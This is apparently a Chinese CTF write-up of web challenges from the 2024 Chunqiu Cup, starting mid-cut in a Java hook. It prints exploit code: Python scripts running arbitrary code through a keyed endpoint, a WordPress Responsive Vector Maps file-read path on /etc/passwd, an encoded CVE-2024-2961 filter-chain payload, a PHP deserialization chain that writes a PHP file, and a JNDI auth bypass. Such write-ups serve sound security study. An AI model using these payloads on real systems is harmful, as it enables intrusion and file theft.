//DAAAAfsvZXRjL3Bhc3N3ZC1sb2cAAQAAACNMc19pVCUqAA2iIQAAOwEVAAAAAAAAAAAAAG4gWjpuHQoCPScMCgBteXNxbF9uYXRpdmVfcGFzc3dvcmQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==        byte[] byteCode = cc.toBytecode();        cc.detach();        return byteCode;        }        catch (Exception e){            e.printStackTrace();            System.out.println("falied change");            return null;        }    }}

hook了之后就能读到evil.key(bb889ebe2ca32f6b188f07240e2204b9
)
了,有了evil.key就可以在two用户运行的api.py里执行任意python代码了。

2024春秋杯网络安全联赛夏季赛WP(web)

然后服务器里没有curl只有wget,用python写个exp。

import requestsimport jsonurl = 'http://127.0.0.1:5000/evil'payload ='''print(1)'''data = {'code':payload,'key':'bb889ebe2ca32f6b188f07240e2204b9'}header = {'Content-Type':'application/json'}cookie = {}r = requests.post(url=url,data=json.dumps(data),headers=header,cookies=cookie)print(r.text)

2024春秋杯网络安全联赛夏季赛WP(web)

拿到two用户权限有什么用呢?api.py最后一个没用到的部分是个socket server,监听在7777,是用来攻击three用户的。

2024春秋杯网络安全联赛夏季赛WP(web)

跟java agent hook一样,这里也需要在不中断tcp连接的情况下hook流量,hook哪里呢?只需要看while的下一层就行了——socket.socket.send。本来我只会java,但问了chatGPT之后发现很容易,exp是这样的。

import requestsimport jsonurl = 'http://127.0.0.1:5000/evil'payload ='''import socketoriginal_send = socket.socket.senddef new_send(self, data, *args, **kwargs):    global original_send    print("Intercepted data:", data)    modified_data = '{"code":1, "path": "./1.tar.gz"}'.encode('utf-8')    return original_send(self, modified_data, *args, **kwargs)socket.socket.send = new_send'''data = {'code':payload,'key':'bb889ebe2ca32f6b188f07240e2204b9'}header = {'Content-Type':'application/json'}cookie = {}r = requests.post(url=url,data=json.dumps(data),headers=header,cookies=cookie)print(r.text)

hook了之后就能够给three用户发送payload了。three的update.py是这样的。

2024春秋杯网络安全联赛夏季赛WP(web)

就是解压1.tar.gz中的new.bin到/updatedir。
很容易想到类似zip的目录穿越,但这里仅仅只能控制tar_path,也不是extractall,所以应该不是。猜测和软硬链接有关系,在我的本地测试成功可以在/updatedir里创建new.bin2文件。
因为mysql的plugin目录three用户有权限,最后的flag是mysql权限的(mysql读写文件被限制了)。所以很显然是想办法利用解压拿到three权限或者直接向plugin目录写udf。

2024春秋杯网络安全联赛夏季赛WP(web)

在比赛结束的一瞬间,我就只做到这里了,具体是用到了tarfile的什么漏洞,我也不知道。可能最后这个地方还得卡半天。

4.    w0rdpress

这题很不巧踩到我研究的点上了。
https://mp.weixin.qq.com/s/zcokg-eNjkNpxJZwFm0Zyg
弱口令subscriber/123456进低权限后台(subscriber可以用wpscan扫出来)。

2024春秋杯网络安全联赛夏季赛WP(web)

Wordpress基本都是插件漏洞,扫一扫就发现重点在这两个上。
https://wpscan.com/plugin/responsive-vector-maps/
https://wpscan.com/plugin/wpforo/

我在wpforo上浪费了很多时间,最终发现用这个打。
/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd

2024春秋杯网络安全联赛夏季赛WP(web)

但这样会被各种标签污染结果(文件内容会分段+重复出现+遗失部分),所以要base64一下。
php://filter/convert.base64-encode/resource=/etc/passwd
获得了一个任意文件读。正常人会想到用phar反序列化,但php版本是8.3.4的。但我最近刚好研究过CVE-2024-2961。早就写好了本地利用脚本。
用php://filter/下载maps和libc.so,然后本地生成payload。

2024春秋杯网络安全联赛夏季赛WP(web)

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXMO%2bJmQhbwrX3Jlci5LK5RLPTY59zHdIr7TVZGfScYaf/uYnVTwLvaK0UK2jQ%2bVGr8E%2b96olkoZyhbjYrA16QwHW66EhoXvjK5LD8jdejnomdZGPEr2PGkU0yhVNvh76acTX6zdZpO103OeLXwKC2Ucc95mnZVKu0r2LVa1PzJuYIELDi1OVNR0Nfgay45d/w/nHY/tiaHz%2b2vC29aX/179vS%2bjW/T/%2bu/%2bo4uae0ZvW%2b8/2SE//YEHDCh/ry9RdPfzY7NWNt9Jvvu/bn/T69bX/tPfnX/z7tu37r%2bOJ37y1rfz2///nf9l/vfyv/nIY/DB7stqndy6dQ/6tK1uHfl9Qz%2b668UO%2b9f//b72J5/dL9V/9m3pwf9/vo39L99uvC7//68u3yvy879K793flto9230r9ln9/W1u%2bMfb/5zffS/ffX1595Pf21rX3895p9x6r/d%2bypiPxd%2bWzm45biwwb7il0%2bfWbD7zOD3tSbj7S%2bapWeyeo12ry/7rfppLcEYvBAgdzEjWlbriV3G3V6/OIfVTyqeFQxnRUb7F16bUbmztMRb5OnqHqp3CZQfiVUea81vFw0feOt4xreUzy2EcrhX6ZFJS97qpe8tT9wmsbEHGb8yhsydUu7V1/5MVHut6W8%2ban2Hzv/fHz%2bfv8UIcFtBHQe2DJt19HQrD8e/X9jFtds6NggS8Ajy7Ze0V0X9Ni96s1zqafNrkfuAwA=

5.    Hijack

php反序列化题,一眼条件竞争,直接放exp。

2024春秋杯网络安全联赛夏季赛WP(web)

 <?phperror_reporting(E_ALL);ini_set('display_errors', 1);function filter($a){    $pattern = array(''', '"','%','(',')',';','bash');    $pattern = '/' . implode('|', $pattern) . '/i';    if(preg_match($pattern,$a)){        die("No injecting!!!");    }    return $a;}class ENV{    public $key;    public $value;    public $math;    public function __toString(){        $key=filter($this->key);        $value=filter($this->value);        putenv("$key=$value");        system("cat hints.txt");    }    public function __wakeup(){        if (isset($this->math->flag))        {            echo getenv("LD_PRELOAD");            echo "YesYes";        } else {            echo "YesYesYes";        }    }}class DIFF{    public $callback;    public $back;    private $flag = true;    public function __isset($arg1){        system("cat /flag");        $this->callback->p;        echo "You are stupid, what exactly is your identity?";    }}class FILE{    public $filename;    public $enviroment;    public function __get($arg1){        if("hacker"==$this->enviroment){            echo "Hacker is bad guy!!!";        }    }    public function __call($function_name,$value){        if (preg_match('/.[^.]*$/', $this->filename, $matches)) {            $uploadDir = "/tmp/";            $destination = $uploadDir . md5(time()) . $matches[0];            if (!is_dir($uploadDir)) {                mkdir($uploadDir, 0755, true);            }            file_put_contents($this->filename, base64_decode($value[0]));            if (rename($this->filename, $destination)) {                echo "文件成功移动到${destination}";            } else {                echo '文件移动失败。';            }        } else {            echo "非法文件名。";        }    }}class FUN{    public $fun;    public $value;    public function __get($name){        $this->fun->getflag($this->value);    }}$file = new FILE();$file -> filename = "1.php";$fun = new FUN();$fun -> fun = $file;$fun -> value = base64_encode("<?php echo md5(1);?>");$diff = new DIFF();$diff -> callback = $fun;$env = new ENV();$env -> math = $diff;$p = serialize($env);$p = str_replace("x00","%00",$p);echo $p;?>

此外,可能还存在其他解法,一眼putenv+LD_PRELOAD,似乎想让你劫持LD_PRELOAD。
也可能是P牛的环境变量劫持dash。利用system("cat xxx");触发。但要绕filter还得看环境不如条件竞争写webshell好用。

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

6.    ezSpring

2024春秋杯网络安全联赛夏季赛WP(web)

一眼JNDI,有权限校验,没看懂代码怎么写的,但随便试试就绕过了。
/admin/lookup/xxx%0A

2024春秋杯网络安全联赛夏季赛WP(web)

JNDI的工具我自己写了

2024春秋杯网络安全联赛夏季赛WP(web)

urldns打一下(其实有源码没必要,习惯了)。

2024春秋杯网络安全联赛夏季赛WP(web)

反序列化就jackson,FactoryObject就BeanFactory。
jackson1234都没打通,BeanFactory-EL也打不通。最后BeanFactory-yaml才明白是JDK17,修复了很多JNDI绕过的办法。

2024春秋杯网络安全联赛夏季赛WP(web)

7.    simplegoods(未解出)

这题虽然没做出来也应该全是摸清楚了。
前台可注册,到后台market.php有很明显的任意文件包含。

2024春秋杯网络安全联赛夏季赛WP(web)

content是从goods表里面来的,可控吗?可控,在goods_api.php中可写入。

2024春秋杯网络安全联赛夏季赛WP(web)

但是需要满足多个条件,最核心的就是/开头和.txt结尾,导致不能用伪协议,必须.txt文件。

judge.php能上传.txt。

2024春秋杯网络安全联赛夏季赛WP(web)

所以一眼又是条件竞争+GD库绕过。
但是实际因为环境很脆弱,导致竞争失败,没做出来。

2024春秋杯网络安全联赛夏季赛WP(web)

但也可能不是条件竞争。
因为php的过滤反而让.php后缀的文件能够留存在/tmp/data中,如果正则中没有$符号的话,有可能是1.php.txt这种格式,既可以提前die(),又满足.txt条件。
也可能跟是imagepng()的命名规则有关系。

原文始发于微信公众号(珂技知识分享):2024春秋杯网络安全联赛夏季赛WP(web)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日12:06:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024春秋杯网络安全联赛夏季赛WP(web)https://cn-sec.com/archives/2930365.html

发表评论

匿名网友 填写信息